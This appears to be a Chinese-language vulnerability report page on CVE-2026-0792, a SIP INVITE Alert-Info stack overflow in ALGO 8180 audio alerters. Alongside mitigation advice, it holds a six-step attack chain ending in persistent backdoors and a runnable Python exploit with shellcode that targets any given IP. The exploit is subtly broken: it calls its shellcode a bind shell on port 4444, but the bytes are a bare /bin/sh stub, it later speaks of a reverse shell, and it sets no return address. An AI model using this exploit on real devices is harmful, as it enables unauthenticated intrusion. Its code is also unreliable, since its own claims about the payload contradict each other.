IPBUF安全漏洞报告
English
CVE-2026-0792 CVSS 9.8 严重

CVE-2026-0792 ALGO 8180 SIP INVITE Alert-Info栈缓冲区溢出远程代码执行漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0792
漏洞类型
缓冲区溢出/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ALGO 8180 IP Audio Alerter

相关标签

CVE-2026-0792缓冲区溢出栈溢出远程代码执行SIP协议ALGO 8180无需认证ZDI-CAN-28301严重漏洞物联网设备

漏洞概述

CVE-2026-0792是ALGO 8180 IP Audio Alerter设备中的一个严重安全漏洞,CVSS评分高达9.8(严重级别)。该漏洞存在于设备的SIP(Session Initiation Protocol)协议实现中,具体位于处理SIP INVITE请求的Alert-Info header环节。攻击者可以利用此漏洞在目标设备上执行任意代码,完全控制设备。由于该漏洞无需认证即可被利用,且可通过网络远程触发,因此构成极高的安全风险。ALGO 8180是一款广泛应用于企业和公共广播系统的IP音频报警设备,一旦被攻破,攻击者可能窃听音频通信、植入后门或将其作为进一步攻击内网的跳板。此漏洞由Trend Micro Zero Day Initiative(ZDI)发现并披露,编号为ZDI-CAN-28301。鉴于该漏洞的严重性和无需认证的特性,建议所有使用受影响设备的用户立即采取防护措施。

技术细节

该漏洞的根本原因是在处理SIP INVITE请求中的Alert-Info header时,程序缺乏对用户输入数据长度的有效验证。具体来说,当接收到包含Alert-Info header的SIP INVITE请求时,设备将用户可控的数据复制到固定长度的栈缓冲区(stack-based buffer),但未检查数据长度是否超过缓冲区容量。这种经典的栈缓冲区溢出条件使得超长的数据可以覆盖栈上的返回地址和其他关键控制流数据。攻击者可以通过构造包含超长Alert-Info header值的SIP INVITE请求来触发此漏洞。当溢出发生时,攻击者精心设计的payload可以覆盖函数返回地址,使程序执行流被劫持到攻击者指定的代码区域。由于漏洞发生在网络服务进程中,攻击成功后可获得设备的最高执行权限,实现远程代码执行。整个攻击过程无需设备认证,攻击者只需能够向目标设备的SIP服务发送网络请求即可。

攻击链分析

STEP 1
步骤1: 信息收集
识别目标ALGO 8180设备,确认其IP地址和SIP服务端口(默认5060),确定设备版本信息
STEP 2
步骤2: 构造恶意请求
构建包含超长Alert-Info header值的SIP INVITE请求,payload长度需超过固定栈缓冲区大小(通常为100-200字节)
STEP 3
步骤3: 溢出覆盖
发送精心构造的payload,导致栈缓冲区溢出,覆盖函数返回地址和栈帧数据
STEP 4
步骤4: 控制流劫持
利用溢出的数据覆盖返回地址,使其指向攻击者植入的shellcode或NOP sled区域
STEP 5
步骤5: 代码执行
函数返回时跳转到shellcode执行,成功在目标设备上获得远程代码执行权限
STEP 6
步骤6: 持久化控制
建立持久化后门,维持对被入侵设备的长期控制,可用于进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-0792 PoC - ALGO 8180 IP Audio Alerter SIP INVITE Alert-Info Stack-based Buffer Overflow RCE """ import socket import struct def create_sip_invite_with_overflow(target_ip, target_port=5060): """ Generate malicious SIP INVITE request with oversized Alert-Info header to trigger stack-based buffer overflow on ALGO 8180 devices. """ # Overflow payload - 500 bytes to overflow the fixed-length buffer overflow_length = 500 overflow_payload = b'A' * overflow_length # Add NOP sled and shellcode for code execution nop_sled = b'\x90' * 50 # Simple bind shell shellcode (port 4444) - should be customized shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # Construct the full payload exploit_payload = overflow_payload[:100] + nop_sled + shellcode # SIP INVITE Request sip_request = f"INVITE sip:target@{target_ip}:{target_port} SIP/2.0\r\n" sip_request += f"Via: SIP/2.0/UDP {target_ip}:{target_port}\r\n" sip_request += f"Max-Forwards: 70\r\n" sip_request += f"From: <sip:attacker@{target_ip}>\r\n" sip_request += f"To: <sip:target@{target_ip}>\r\n" sip_request += f"Call-ID: {overflow_payload[:32].hex()}@victim.local\r\n" sip_request += f"CSeq: 1 INVITE\r\n" sip_request += f"Contact: <sip:attacker@{target_ip}>\r\n" sip_request += f"Content-Type: application/sdp\r\n" sip_request += f"Alert-Info: {exploit_payload.decode('latin-1', errors='ignore')}\r\n" sip_request += f"Content-Length: 0\r\n\r\n" return sip_request.encode('utf-8') def exploit(target_ip, target_port=5060): """ Send the exploit payload to trigger the buffer overflow """ print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Generating malicious SIP INVITE request...") payload = create_sip_invite_with_overflow(target_ip, target_port) print(f"[*] Sending exploit payload ({len(payload)} bytes)...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(payload, (target_ip, target_port)) print(f"[+] Exploit payload sent successfully") print(f"[*] If vulnerable, check for reverse shell on port 4444") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5060 exploit(target, port)

影响范围

ALGO 8180 IP Audio Alerter < 最新固件版本

防御指南

临时缓解措施
由于该漏洞无需认证即可远程利用,建议采取以下临时缓解措施:1)如果业务允许,在网络边界设备(如防火墙)上限制对ALGO 8180设备SIP端口(5060/UDP)的访问,仅允许受信任的IP地址通信;2)使用入侵检测系统监控异常的SIP INVITE请求,特别关注包含超长header值的请求;3)如果暂时无法升级固件,考虑暂时禁用Alert-Info功能或部署Web应用防火墙(WAF)进行请求过滤;4)加强网络监控,密切关注设备异常行为,如未知进程启动或异常网络连接。长期来看,应尽快应用厂商发布的安全补丁,升级到修复后的固件版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表